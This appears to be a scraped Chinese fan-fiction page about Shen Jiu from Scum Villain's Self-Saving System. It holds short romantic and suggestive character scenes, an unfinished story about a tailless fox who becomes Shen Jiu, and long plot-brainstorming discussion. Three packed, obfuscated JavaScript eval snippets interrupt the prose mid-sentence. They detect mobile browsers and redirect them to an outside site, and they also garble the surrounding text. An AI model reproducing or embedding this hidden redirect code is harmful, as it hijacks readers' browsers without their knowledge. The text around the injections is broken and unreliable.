“你再说一句,劳资就一刀砍死你!” “师尊舍得吗?” “劳资现在就要砍死你!” “咦?可师尊刚才可不是那么说的……甚至还求弟子……” “洛冰河!劳资给你脸了!” —— “师尊,弟子错了。” “哼。” “师尊,你别不理我。” “你之前怎么说的!” “那不是师尊也喜欢嘛?” “滚!” “师尊虽然嘴上说着不喜欢……” “咔——” “洛冰河!别让劳资看见你!” ----------- 沈九X岳七 “小九……我……” “别想让劳资喊你!” “你方才……” “你滚!” “你在喊一次嘛,就一次” “不可能!” “不,我会让你喊的……” “岳清源你要死吗!” “没有……只是……” “噗嗤” “七……七哥” “在多喊两声就停” “不,不要了,七,七哥” “诶,七哥最疼小九了” “哪里有,你明明……” “我这不是身体力行的给你道歉了吗?” “可……” “七哥在这呢,这次绝不会弄丢你” “好。” ------------ 沈九X柳清歌 “你再动劳资砍死你!” “沈清秋你什么时候能好好说话!” “滚!” “那这样呢?” “柳清歌我tm!” “这样能好好说话了吗?” “我!@&#¥$&%***?” “都这样了,就别在口吐芬芳了吧?” “柳清歌你大爷的!” “别骂了,省点力气不好吗?” “我草你&$***#!” “你现在不就是吗?” “我#&$#” “行了,你不就是看不惯我家世好、修炼快又痴心于剑吗?以后我的精力分你一半” “真的?” “废话,我人都是你的了,家世资源不都是你的?至于根骨,大不了我去学某种秘术,让你采精补阳” “呵。” “以后修炼带你一起!历 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403942|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练也跟你寸步不离...... 假如沈九拿男主剧本并开后宫 身为反派BOSS,绝不走心。自己送上门来的,肾是可以走一走的。 沈九:走肾不走心的起点剧本 “师尊~” “诶~樱樱怎么了?” “师尊~我是不是你最爱的崽?” “那必须的呀,”沈九摸了摸宁樱樱的脑袋:“是有人说你坏话了?” “没有啦,”宁樱樱不好意思道。 “嗯,”沈九帮宁樱樱扎了个双环,轻轻拍了下她的肩膀:“有谁敢在你面前嚼舌根,就让明帆收拾他们。” “可是……”宁樱樱迟疑道:“是有人说师尊,与弟子不清不楚……” “哦?”沈九斜倪宁樱樱一眼:“是那里在散播谣言?” 宁樱樱在镜子里照了照:“师尊放心,樱樱会解决他们的。” “行”沈九''宠溺''的笑了笑:“那师尊就等着你替我扫清障碍。” ———— “师尊安好。” “嗯,方才樱樱跟我说,有人传我与弟子不清不楚?” “师尊放心,弟子已查明出处,不出三日必解决此事。” “呵”,沈九把玩着手中的折扇,盯着明矾深深低下的头顶: “这次的声音都让宁樱樱听到了,明帆……你可是对我有什么不满?” “弟子不敢!”明矾慌忙抬头,抓着沈九的裤腿求饶: “弟子对师尊的心如青天明月,只恨不得掏出心肺让师尊看到弟子的一片真心啊!” “哦?”沈九看着被抓皱的衣衫,眼里闪过一丝不满: “明帆啊,你可是我最得力的弟子。可千万,不要让我失望。” “师尊放心!弟子定不辱使命!” ———— “洛冰河?明帆说你找我?” “师尊……” “滚!我说过多少次,别这么叫我!” “是……”洛冰河低下头,跪的更挺直些:“主子……” “嗯。”沈九将身体斜在塌上:“事情办的怎样了?” “魔界已被收复,些许声音不足为虑。” “干得好。失败者的声音不必在乎,只要领头的信服于你即可。” “师,主人,您之前所说……”洛冰河抬起头,脸上充满希冀之色。 “呵,今晚布好结界,我不希望有''清静峰峰主与门下弟子纠缠''的风声传出去。” “您放心,弟子的结界无人可破。” ——碎碎念—— 身为一个合格的反派,走心是不可能的。 但若是有人主动送上门,走肾倒是没问题。 哎~好用的工具人,不仅白天能帮助解决外部问题,晚上还能兼舒缓暖床,真是,太舒服啦! 嗯。就算是身为一个荤素不忌的主,也是要“名声”的嘛~ 65.(未完)兽人九:举世皆敌 小狐狸有记忆起,就不被同类喜爱。母亲不喜欢给他喂奶,所以它长得瘦弱、声音沙哑。 父亲因母亲生出这样的崽子而直接离开,母亲因父亲的离开,更是将小狐狸当成灾星,哪怕是寒冬腊月,也要大声尖叫着,将小狐狸撵出窝外。 世间的生灵哪有不亲近母亲的,可惜母亲对它唯有呵斥与厌恶;世间哪有不向往团圆温暖的,可一奶同胞的兄弟们,却只会将它丢出窝外。 刚出生的小崽子,失去母亲的庇护后,又能存活多久? 它不明白为什么自己不得母亲喜爱,更不明白其他同类对它那么排斥——直到他发现,它与同类相比,少了条属于狐狸的尾巴。 可笑吗? 很有趣吧。 因为他天生残缺,所以被同类嘲笑、打压;所以父亲因母亲生出‘残废’而远走;所以母亲将父亲的离开怪罪到它身上,连最基础的投喂都不曾。 可是它还是长大了。 万物皆有想活下去的生存本能,存活,本就是最高级别的信念。 所以小狐狸性情爆裂,什么都要争抢——而小辈之间的抢夺中,被指责的那个,永远是小狐狸。 —— 小狐狸这次打输了。 没办法,以多欺少虽然不道德,但是很有效。 遍体鳞伤的小狐狸逃到某个树坑,小心翼翼的为自己舔毛。它会在这里呆上几天,等伤口长好,它会回去将围殴它的狐打回来的。 “呦,一只雪狐?” 人类的声音响起,清晰的咬字,略带好奇的语调。与一双,带着温暖的手掌。 小狐狸背部拱起,尖锐的叫声呵斥着对方,伸出自己的爪子胡乱挥着,欲将敌人赶出去。 它听到了男人吃痛的声音,和一句带着无奈的感叹:“还真是个烈性的。” 男人留下奇怪的、装着清水的容器,还有几个散发着清香的圆团离开,并没有尝试用木棍之类的东西去尝试击杀小狐狸。 小狐狸谨慎的嗅了一下,将东西丢出去。 次日,男人的轻笑声响起:“可惜了我的疗伤圣药,还真是个没良心的。” 男人再次伸出手掌,手心是另一枚散发着诱人气息的团子。 小狐狸再次伸爪,将男人的手心撕出狰狞的血痕。收回的爪子里还带着对方的皮肉,小狐狸背靠树皮,谨慎的防备着可能被丢进来的武器。 只是它又听到了男人吃痛的轻呼和无奈的叹息。以及东西被放下,脚步踏过枯枝的声音。 随着几天的‘相处’,小狐狸在男人过来时小心的探出头,看着被自己抓了几次都‘不长记性’的男人,眼中有些不能理解。 对方不生气? 还是不怕痛? 男人看着主动探头的小狐狸,笑意如山间温柔的风:“来迎接我?” 小狐狸立刻将头伸回去,暗暗打算给对方一爪子。 一人、一狐,两个不同物种,就这样每天见个一面。 久而久之,狐狸也明白了装着清水的东西叫‘碗’,男人留下的丸子叫‘丹药’。至于男人用来给自己涂抹的叫‘药粉’,绑在手上的叫‘绷带’。 直到有一天,男人对小狐狸发出邀请:“我要离开了。在离开之前,你想跟我一起走吗。” 小狐狸不理解对方为什么要离开,但它明白,母亲正是因为父亲的‘离开’,才会将它视为敌人。 所以‘离开’,必定不是什么好词。 狐狸最终还是选择跟男人走,它若是不曾被人‘救助’,这是男人说的,男人说受伤的人与灵,都是需要治疗的。而治疗旁人,就是‘救助’。 小狐狸没办法接受‘再也看不见’男人的假设,所以狐狸主动爬到男人的肩膀,随他进入人类世界。 —— 男人是个很喜欢笑的人类。 也是个很喜欢做研究的人类。 他对一切都很好奇,什么都忍不住想摸一摸,什么都想丢到‘试验皿’中观察反应,什么乱七八糟的玩意都想塞到炼丹炉中。期间发生了无数次的爆炸,引发过无数次的火灾、坍塌、惊雷、闪光。 每次‘意外’发生,他总是会第一时间将狐狸捞起来,狂奔而出。等一切尘埃落定,再极为失望的叹口气:“又失败了。” 狐狸不理解他在做什么。 只是男人总会在某些时刻,献宝似的将各色丹药和液体放到它的面前,示意狐狸吃下去。 狐狸…… 在某次吃下丹药后,成了真正意义上的,狐狸精。 “成功了!” 男人眼里满是惊喜,他忍不住将刚化为人身的狐狸抱起来,拦腰转圈:“世间难解的瓶颈,被我实验成功了!” 狐狸不明白,但狐狸感觉冷。原来没有皮毛保护的人类,竟然会这么冷。 男人手里的孩童突然打个寒颤,男人立刻将外衫脱下,将孩童裹得紧紧的,有些语无伦次: “我没想到会成功……那个你冷吗……我该给你找找衣服?不对我怎么会有孩子的衣服……你稍等等,我去给你买衣服。” 买衣服。 狐狸裹着属于男人的外衫,看着激动到手足无措的男人,有些整懵。 男人很快离开,连门都来不及关紧。春日的风虽然不算冷,但对于第一次变成人的狐狸而言,还是有些凉。 只是—— 小狐狸从日光越发明亮,到太阳收走最后一丝温暖,以及……月光高挂后,又一次出现朝阳。 一天一夜,男人,一直没回来。 三天三夜,一周,一个月,一年…… 小狐狸要等的人,一直,都没回来。 —— 一个五六岁的孩童,在没有大人的照料下,很容易被某些不怀好意的人盯上。 而小狐狸化为的孩童,又实在是精雕玉琢,看着就觉得喜庆。 小狐狸被送到大户人家,懵懵懂懂的孩童被一群人包围,刚为他取好名字,就挨了一顿打。 ‘主家少爷’实在喜欢这个漂亮的孩子,欲伸手抓小狐狸的头发,被小狐狸毫不留情的一口咬上。主人家花钱想要的自然是温顺的,哪有白花花的银子流出去,却换个自己流血的道理? 故而小狐狸被揍后,又喊人牙子将人发卖。 几经转手后,小狐狸被送到破烂不堪的乞丐窝里,成为了完不成乞讨任务就要挨打的乞丐。因最后一次主家姓‘沈’,大小萝卜轮流报个数,故而为‘沈九’。 ———— 小狐狸有名字了,他叫‘沈九’。 最喜欢的,叫‘岳七’。 狐狸表达喜欢的方式很简单,就是互相舔毛。只是人类表达的方式—— 大概是将东西交给对方? —— 沈□□着其他人的样子说话做事,却总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409733|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会莫名其妙的被其他人不喜。 其他人总说他‘小白脸’,说他会成为以色侍人的龟公,最后死于肮脏之地。 沈九不理解他们说的什么意思,却能感受到其中的深深恶意。所以他动手了。 只是双拳难敌四手,沈九败了。 最重要的是,遍体鳞伤的沈九出去找岳七时,遇见了一个月前‘离开’的大姐。而大姐被一席草帘所卷,身上满是青紫。 所以,这就是‘龟公’的下场? 沈九逃了。 当他被其他人抓住的时候,沈九身上的伤口已恢复大半。 管乞丐的人很惊奇,其他人都说沈九被打得濒死后逃亡,他还以为是他们弄死人之后的‘谎报’——可现在看来,这个‘沈九’的恢复能力,实在过于强啊。 岳七出面将沈九保下来,信誓旦旦的样子令管理者很满意,他挥挥手,令其他人将沈九揍了一顿后离开。 沈九看着唯一一个没有打自己、并且还在管事者走后制止其他人的少年,心中突然想起那个向自己伸手、说去买衣服再也没回来的男人。 然后—— 沈九下意识的将爪子扑过去,却被对方抓在手中。 哦,他已经没有尖锐的爪子了。现在的手掌,竟像是主动将手伸出去的,握手。 只是岳七很聪明,一触即离,并不让沈九感觉被冒犯。 这个人不错。 沈九想。 不会打他不说,还会制止其他人打他。 看出来他想攻击对方,却一触即离的将他牵住,向他表示善意。 手间还停留着对方的温度,干燥而平和。 —— 沈九手中掐出火花,展示给岳七。 岳七震惊的看着沈九,不顾火花的灼热,双手将沈九的手压住,态度极为严肃:“小九,这等神迹,不要再用!” 沈九不理解,属于自己的东西,为什么不能用?这就像是他明明有刀,为何要舍弃武器去用拳头打架? 只是岳七的表情太过慎重,兼之各种劝告与劝解,沈九点点头:“我不用。” 只是事情的发展从来不如人意,沈九在岳七的叮嘱下从不‘展示’仙术,却还是在某次意外,暴露了。 那个原本还在耀武扬威挥鞭子的少爷被摔了个底朝天,在‘一众’指征之下,沈九避无可避、退无可退。 岳七想方设法进入秋府,隔着上锁的柴门,向里面传话:“小九,你不该暴露仙术的。” 沈九被打得有些气短,挣扎着坐起来,看着从门缝透出来的月光,不知该作何感想。 他口中有千言万语,最后只能化为一句:“你说得对。” 岳七说他们的命太贱了,随时随地可能会惹怒权贵,或者因莫名其妙的事情死去。他要想办法去学本领,带领大家脱离这摊污泥。 沈九小心翼翼的吸气,尽可能缓慢的将热气呼出去,让被牵扯到的疼痛不要影响到发音:“你会回来吗。” 岳七应该是笑了,他的语气很坚定:“会。” 沈九的心头一跳,脑海里闪过少年人惯用的拉勾。可惜有一层门阻拦,他们的手牵不到一起。 沈九将心口的酸涩压下,与对方定下约定:“那我在这里等你。” 他之前没有与男人约定,所以男人一去不复返。 这次他与对方定下约定,岳七……会遵守的吧? 66.一些脑洞和讨论 沈九以前是只狐狸,给他造身体的的人是一个很邪气阴晴不定的人(男的),喜欢搞一些破坏和发明(修为至少是元婴),后面被仙门百家一起铲除了,他不止造了沈九一个人(几个不知道)“你是最幸运的。”“你是第一个。”“你是最糟糕的” 1.沈九以前是只狐狸,给他造身体的的人是一个很邪气阴晴不定的人(男的),喜欢搞一些破坏和发明(修为至少是元婴),后面被仙门百家一起铲除了,他不止造了沈九一个人(几个不知道)大概沈九5岁的时候这个男人死了,然后沈九跑了然后类似于分身与主体的对话,其他人都不解与嫉妒,以及后续可能发生的:“为什么是你,凭什么是你。” 沈九小时候是会法术的,原文有讲,关于这个在我的编的脑洞解释为和那个男人偷偷学的,这个男的姓沈,名字的话不会起首先,九是制造出来是兽身,但是残缺之身,一定会被歧视。因为被同类排斥,自然是‘性情恶劣’‘不得其他人喜爱’的 后面沈九就四处流浪,后面被抓去乞丐了,就遇到岳七,在他面前施展过偷学的法术但是这就有个矛盾点,如果九有父母,就很难说‘被人制造’ ,被岳七警告不要随便使这样的法术,(然后讲一大堆道理,就婆婆妈妈的)比如九因残缺被排斥,流落人界后被人捡走,治病、体内增加机械核心,半制造的机器人? 还有一个想法就是那个给沈九造身体是那个男人,他会很多秘法、炼药、造兵器,琴棋书画样样精通那种,原本是世家子弟,后面家道中落(全家死的差不多的那种)?,被其他人鄙视可怜之类的但是呢,兽人? 那些被制造出来的后代,互相残杀,只有一个人能拿到那先被藏起来的秘法谁能拒绝一只可爱的、傻傻的狐狸呢 就是还有一点没有讲出来,那就是这个狐狸,它是没有尾巴的,所以它生出来的时候他妈看了他一眼就走了,他爹也是干完就走了(? .?.? ?)那就假设这个世界兽不能修炼成人 然后就被那个男人捡走了所以九是唯一一只由兽变成人的存在 因为没有尾巴,它被同类歧视远离这个制造者很兴奋,想要高处更多兽人 因为这一个他的脾气,就很不好惹,就那种结果一不小心玩过火了,被人追杀 然后这个男人捡走他,是因为路过,且有一定的变态心理想法其他人都想拿到他手中那只“成功的兽人信息” 就是把他抓出去,当做实验品最后揭露,那个成功的,是九 四处制造混乱,搞完就跑其他半首人:若不是你的成功,我们怎会受这样的苦?你是罪魁祸首! 或者说,还有其他活下来的,只是也没那么成功九:我亦是受害者 其他人:你不该成功!你不该活着!凭什么你那么幸运! 所以其他人想要九,去研究;那些半兽人想杀了九或者用九完善自己 整个一,举世皆敌 咋说呢,我感觉后面的开展不太好写,秋府究竟发生了什么,九又如何离开的,最后怎么成为的清静峰之主 最重要的是,举世皆敌、身份暴露,应该发生在什么时间? 是功成名就,还是散修、苍穹弟子时期? 这些时期的开展是不同的 如果岳七出现了,冰哥要不要出现? 当九被其他人‘找到’的时候,岳七需要出场吗? 这个故事里,是纯纯的九,还是涉及一部分七九? 当一堆人围着九,说‘就是你这个幸运儿,因为你活下来了,所以制造我们这些的人看到了希望,我们才会如此悲惨’ 九该谁找安慰?又该由谁出现,告诉他‘这一切并不怪你’? 要么走七九向,七没过来,是失忆(或者被关),七替九昭告天下:堵上苍穹山的名义,谁找九的麻烦,就是与苍穹山为敌 要么走柳九向:虽然我看不惯你,可是也容不得其他人对苍穹山挑衅。人如何,兽如何,妖孽又如何?只要是苍穹山的人,都不容外人言说 要么就是冰九向:我的师尊,即便是妖魔,我也会护着 那么简单点,你觉得这个故事是属于“沈九”的,还是属于“狂傲”的? 如果是单纯的沈九故事,那就是一个举世皆敌,互相打杀的套路 果是磕CP的,那就必然要有一个关键人物站出来,去“救赎沈九” 沈九出生大概1岁半时候就和父母因为不得已的原因分离,后面被养姐救回家,但是沈九的养父不是什么好东西,就经常打骂。(关于姓氏,就直接跟养姐姓好了) 养父喜欢酗酒,一喝就发酒疯打骂人,养母就这样没的。因为这个沈九每次在听到养父回来时的声音,就躲起来,养父因为找不到沈九,就开始打养姐,让养姐把沈九叫出来,就不打她,养姐也是被打痛打怕了,然后就哄沈九出来…… 之后这种事就经常发生,养姐就抱着沈九说对不起(岳清源?.?) (怎么说这个行为呢?毕竟不是每个人都很坚强的) 养姐在11岁的时候,因为养父种种行为受不了,因为会一些手艺,就想带沈九一起离开这里,但是没成功,被邻居发现告诉那个老畜牲。 (╬?益?)?? 后面养姐还在找机会带沈九离开,但是养父因为要喝酒就把沈九卖了,还想把养姐卖给别人当小妾之类的,给自己赚钱买酒吃 后面就是原著,主要是讲他的过去,以及一些心里想法之类的…… 我还有个想法,就是在柳清歌死了以后,在种种因素下,沈清秋发现了世界其实是一本小说 被卖到乞丐窝的时候只有五岁 怎么感觉这段写的……当乞丐,都有种逆天改命的感觉 哇哦,是真的诶 就是那种,别管你给我什么剧本,我都要给你杠到底,走出青云路的感觉 腹黑岳 小段原文 沈清秋总结道:“所以,你的写作理念就是写基佬?” 尚清华:“你瞧不起基佬男主吗?艺术作品艺术家,都喜欢塑造基佬。纯文学青睐基佬,你知 道吗?” 〔他振臂高挥,慷慨激昂:“瓜兄,如果不是系统选中了你这名忠实的死忠读者,恐怕剧情不会 被歪得这么彻底,彻底得歪回到我报废的大纲上面来。〕这段 虽然现实中的我耐不住寂寞,迫于经济压力、选择了按照别人的口味和爽点写完《狂傲仙魔途》,不过现在拜你所赐,我想写的东西基本都已经在我面前演绎出来了。瓜兄!” 他深情而郑重地拍了拍沈清秋的肩膀:你,是被选中的人;而我的生涯,已一片无悔!” ……怎么听起来,系统和这个世界,都这么像是尚清华这个砍大纲随大流作者的怨念产物? 沈清秋耻于成为这种“被选中的人”:“谁是你的忠实死忠读者。” 我感觉可以用这个来编 狂傲原版世界 所有人智商都是正常的 我不太会表达 岳七刚刚进入苍穹山,因为脾气好帮助别人, 但并不是所有人都会知恩图报,还有人拿着他的一点好,就一直叫他干活,给点甜的,再给巴掌, 背地里一直嘲讽明面上又装好师兄弟。 岳七又因为对方家里有势力,不能也不敢跟对方对着干,然后老实人七开始黑化,他开始明白,在这个世界爬得越高,才能得到自己想要的,别人也会听自己的。 经过自己一系列努力(真的会有长辈,因为你太好心了然后把一个非常重要的位置让给他做吗?),又因为自己这些年装老好人,信任自己的人越来越多,加上他天赋好,虽然年龄大了点,但还是超越了大部分人。 终于得到他师尊的认可,坐上了首席 在最早进到苍穹派的时候,他就有想叫自己的师兄弟,去救沈九,但那个时候没有什么身份,人小甚微。在尝到权力的甜头,便一发不可收拾,沉浸名利之间。 虽然他装老好人,也的确有很多人信任他,但并不是所有人都这么想 。他的对手,为了打败(姑且这么用吧)他,会拿他曾经是乞丐的身份来嘲笑,制造谣言。 岳清源虽然表面装不在意,背地里买水军(不懂怎么表达了)来洗自己的出身 位置高的人通常都有个通病“疑心” 这就导致了后面的走火入魔 被废掉重新来 修炼这种事情还是很不容易的,重新来的话,跟不上进度,那些曾经嘲讽自己的人,笑的只会更大声,于是他选择以命入剑。 一直有一个疑点,岳清源做上了首席职位,还是未来的掌门,他说的话又有谁不会去做? 我的想法是: 岳七刚刚坐上首席位置,就去找沈九,想着自己已经爬到这个位置,沈九一进来就可以不用像当初的自己一样,可惜来晚了 从那之后岳清源彻底黑化 ———————————————— ———————————————— 幕后流讨论:九是两个世界的大boss 九是两个世界都最终大boss,这是什么。顶级权谋,简直太带感啦!我的脑洞现在就特别粗糙,零零碎碎,主要设定就是有两个带恶人九,狂傲渣反两个局 大佬有更多的想法吗,感觉这个脑洞敲棒的,布局的九总和局中的九姐——我觉得弟子九不睡大通铺、外宿暖红阁、从女人身上找心理安宁、除了婴婴不喜欢别人近身的喜欢真的特别有女扮男装的感觉, 这个听起来非常的嗯。一听就是在布一个很大的局。我对九之外的角色挺无感的——包括黄瓜飞机,我不想把精力放在怼恶臭虫南上——太膈应人了,so主要就是重新解构 如果要写的话,应该是一个非常非常大的权谋。包括秋剪罗和老宫主,形象都会重构魔改——九姐苏姐的狗,还有岳七——两个局的知情者、九总的助手 首先我假设一下哈,如果说有一个最终boss这个boss他知道所有人的命运。主视角是公仪萧和小宫主——我打算给小姑娘起名萧明珠,对黄瓜飞机预计是劳改处理—— 我不知道会不会打乱你的布局,但是我觉得我可以说一下我的想法。这里黄瓜飞机搞出来的祸事,某种意义上,他们是刀,九总才是利用刀搞事的大反派, 如果说尚清华他穿到了狂傲世界,之后他发现按照狂世界的路线走,他不能够回到现代,然后他开了渣反这个世界前。而且针对他们扭曲丑化"沈清秋"形象反而歪打正着揭露双九之争的一些辛秘和脏污,成了恐怖如斯打飞机,料事如神黄瓜兄,你介意吗? 毕竟他是这个世界的造物主大概就是琵琶女吧,如果九九认识的琵琶女和苏姐认识的琵琶女是同一个人的话——苏姐番外里有带天琅君、竹之郎去听琵琶,渣反就更诡了,总感觉在下一盘大的—— 终于吸引来了真正拥有系统的人,真正能够让他回家的人苏姐也是知情人士,还有魅音夫人,如果琵琶女叫音娘呢,琵琶女是魅音小号,ennnn,总之设定太碎,一时半会还整不好 然后他跟九链手 设计那个系统哇偶,这个设计也很妙啊——打飞机作为作者,跟《狂傲》的因果纠葛确实大 希望借那个系统之力回到现代 那这样子的话,小九权谋和智商都一定要在线,啊,有一种游戏人间的感觉,剧情布局谋篇的话就要考虑到人物的视角问题和叙述顺序问题了这方面就比较复杂了… 游戏人间,这个词用的好 对,权谋是最难的 感觉要写的话,要从沈垣的视角开始,也就是九舍弃肉身让系统带沈垣入主那,岳清源负责监督沈垣的一举一动,哇哦!从婴婴入手的好少,你完全突破了常规思维,非常破局诶! 前面沈九不出场,岳清源也不会有太多明显的同九的交流,可以用岳清源在密室或把玩什么时说话来暗示给九 首先尚清华目的是为了回家(假定他参与狂傲线就是为了回去,然后没成功,所以跟九联手,引来沈垣和系统) 然后宁婴婴其实可以是九姐,是宁婴婴自愿的那种,看似是太阳,事实上是月亮(因为看不到月亮背面) ,其次九的目的,应该是铲除天道,抹去洛冰河。但这里就很重要一点,九为什么要弄死洛冰河,如果弄死,具体开什么挂是最合适的 然后宁婴婴很多看起来作死的行为其实是试探沈垣和洛冰河的,并且会想尽办法将他们的修为外挂给封了而且系统的目的是什么?单纯送沈垣有些牵强,不如说借沈垣的某些举动剥离洛冰河的气运…… 最后就是一同灭了沈垣和洛冰河,哇啊!听起来就很令人心动,心痒痒 但是我觉得他们应该内部也会有矛盾,不可能单纯地统一战线,除非利益一致嘿嘿嘿,说得对。如果养的娃有了别的想法,无非是再养一个 感觉更详细的还是得打个大纲,光想不太方便有道理。因为推演出来这一劫,于是反其道而行之,不破不立[ 毕竟婴婴的身份很方便做些见不得人的事,看起来很单纯的,往往可以成为最狠的刀 我觉得除了宁婴婴外,就连木清芳也可以,他是最方便动手脚的,毕竟他是医师,按照刻板印象,医师都是救死扶伤的存在,这会使人放松警惕 唉,搞得我也好想写,但是太大的局对文笔之类的要求很高 毕竟天地宠儿不能够满足天道的野心,那么,他就没有存在的必要 不一定完全要回去,也可能是别的什么目的,比如可以回去,回去后钱权皆有 像天魔这种逆天存在都有,那么应该还有更逆天的存在,或者说这个局来自上一代,渣反说过苍穹山派学得杂,那会不会有负责占卜的,然后推出这一劫,而沈九就是他们选择的那个布局之人 再给你个思路,修雅可以有灵,这灵也可以做辅助哦 是呀,一切以利益为主[ 其实这个正好是我正在写的思路,突然发现我埋的伏笔好多 也不一定,不过也差不多吧 这么论哇哦,好想法,让我顺一下你看看哈 九是容噐,本来是某个神的分身首先,冰的气运,大家都很馋。 之后将灵魂引去后接纳了沈垣其次,九本身不愿意通过【爱情】吸收他人气运。于是〈刻意〉让出去, 将沈垣设一个特殊灵体,故意让沈垣体验极致的七情六欲沈垣一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415829|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系列操作,吸收气运,提升成神 然后在心死后再抽离,作为某个神级卷轴的颜料.感觉【维护自己地位】和【神器】之间联系不多,不如换成更进一步,成道成神,你觉得呐 而洛冰河属于大气运者.顺便吸引他身上的气运提升卷轴的使用次数…仙逆里面那个吗?我知道仙逆里的话是有一个能够将人的神魂写进去。 以此为例.以魂魄为颜料.完成完美作品.维护自身地位.( 你知道山河社稷图吗?就是这么个类型 对.就是这样. 山河社稷图.一个法器. 私设用经极致情绪的特殊灵魂为颜料.辅以其他东西.制作完成.气运则是顺带的. 而九之前想将冰哥作为材料.但发现他煞气太重.于是换人了. 想法挺好的,但是看描述有点乱,先定故事大概框架再去细分,对,如果目标太大的话,就很容易加大空 布局为了颠覆世界这个太大了,九布局应该是为了改变命运,尚是为了回到现代,然后应该会有系统来给到他们这样一个机会九:改变命运;尚:回到现代;系统:吸取冰气运;沈垣:为了活命; 性转九我有点接受不了,我也不能接受性转,感觉怪怪的。 然后主视角是公仪箫这个有点不太行,九文主视角必须是九啊主视角公仪萧?这种文我还没看过,是通过旁人之口叙述吗?听起来挺有意思的。但是如果以这种文去写那个布局的话,非常有可能会没有办法采入局内就会显得很怪。 —————————————— —————————————— 几个分支 沈九得知未来(渣反开头),拒绝走怀柔,打算走反派boss路线;(有一个《再回头》是这个写法,不过不知道为什么一直没看。目前写完大纲,还没写细节) 沈九得知未来(收徒之时),拒绝走怀柔,打算走起点暗黑流;(写到了魔族入侵、洛冰河上去干架。后面写不下去了,不知道该按照原著增增补补,还是另开路。毕竟这个之后有好几年的空白才到无尽深渊,不知道咋写合适) √沈九(刚登清净峰峰主)捡到婴儿洛冰河,重生,扔给柳清歌,当个咸鱼看客; 沈九(乞丐时期)捡到婴儿,起名洛十九,一起乞讨\拜师;(这个分支太多了,与十五打架,岳七必去看,沈九要不要跟着去?洛冰河呢?被抓入秋府,岳七要去拜师,洛冰河呢?) √重生冰哥去秋家捞乞丐九,嫌弃他,将他扔到苍穹山派附近; √沈九面对沈垣,对打,打不过,拉拢柳清歌,继续打;(写了两个分支,一个两天搞定,另一个更细节一些的写不下去,感觉怎么样都没办法把人物立起来) √狂傲结局版沈九,穿越乞丐秋府时期,完成自救(水仙);(这个很满意,就是短,不知道该咋填内容) 沈九x岳七.两人最大的矛盾在于一个需要他救,一个没去救.而且没救人那个也从来不说原因,没被救那个心里怨恨又没办法发泄;(现在完全磕不下去,感觉岳七有点虚伪,成了掌门之后更是。谁家对人好不是干实事,而是明知对方不喜还要上赶着,让所有人都看清楚啊。这不是对人好,是立挡箭牌呢) 沈九x柳清歌.两人最大的问题在于一个因自身悲剧而嫉妒,忍不住暗地里下手.另一个因家世良好而看不起小肚鸡肠\嫉妒成性的家伙,忍不住嘴毒.(但是狂傲线死太早了,沈九如果不去救他或许能活,救了说不定还得死。除非其中一个重生) 沈九x冰哥,九主.这个超级难写,原著外挂太大,加外挂很容易ooc.不加又很难打败.武力值低的一方,天然弱势.不可能''攻''的起来.(写着写着差点把冰哥祭天,大纲写好了,内容不知道咋填) 沈九x冰哥,冰主.这个有好多人写了,我个人就不太想动笔了...反正就是一个受了刺激的冰哥,拐不了沈垣,所以想将沈九搞成沈垣那样的''暖床丫鬟'',接着玩崩了,两人大打出手,或者冰哥感觉这样的''沈九''没有灵魂,所以腻味之类...太多人写了,不缺我一个.而且我也不是很喜欢冰哥强制爱...起码没月经的时候,不咋爱. √沈九x修雅剑.这个很冷且邪,但是没办法,就是突然想写~(直接让沈九不收徒,解决所有问题。emmm,突然觉得柳清歌也可以和他的剑组cp……) 剩下的,还有几个想法,但是没太能写的.. 沈九x明帆.别问,问就是冷门且邪门... 冰哥x冰妹....emmmm,我怕这个写出来,被打... 沈九x沈垣.额,啊,虽然我的设定中,两个人是水火不容的,但是邪门这种东西,嘿嘿,啥都磕. 性转沈九x沈九,别问,问就是自攻自受,上次看见这个情节,是<黑暗召唤师>,就暗黑起点四大邪书的那个(嗯,荤素不忌) 性转沈九x冰哥,冰主,没办法啊,都一男一女了,总不能指望妹子主动吧... 性转沈九x性转冰歌,两个双a妹子,嗯,很带感 另外我最近看了本末世文.<黑暗血时代> 假如沈九穿越到末世. 假如冰哥穿越末世,沈九为最大的丧尸. 假如沈九从末世回来,掌握某种不属于当世的异能. 几个可能性 失败女频流:黑暗九本该一如既往反天道,却因正道七的阻拦培养了太多的‘道德感’,继而被拖累了灭世黑化之路。 ———— 正常男频流:天资出众、容貌俊美的孤儿少年郎,在所遇非人后果断杀死主角,跟随逃犯天南海北历练。后遇见年少玩伴,得以拜入修真界第一大派,最终爬上第二峰之位,闻名天下。 ———— 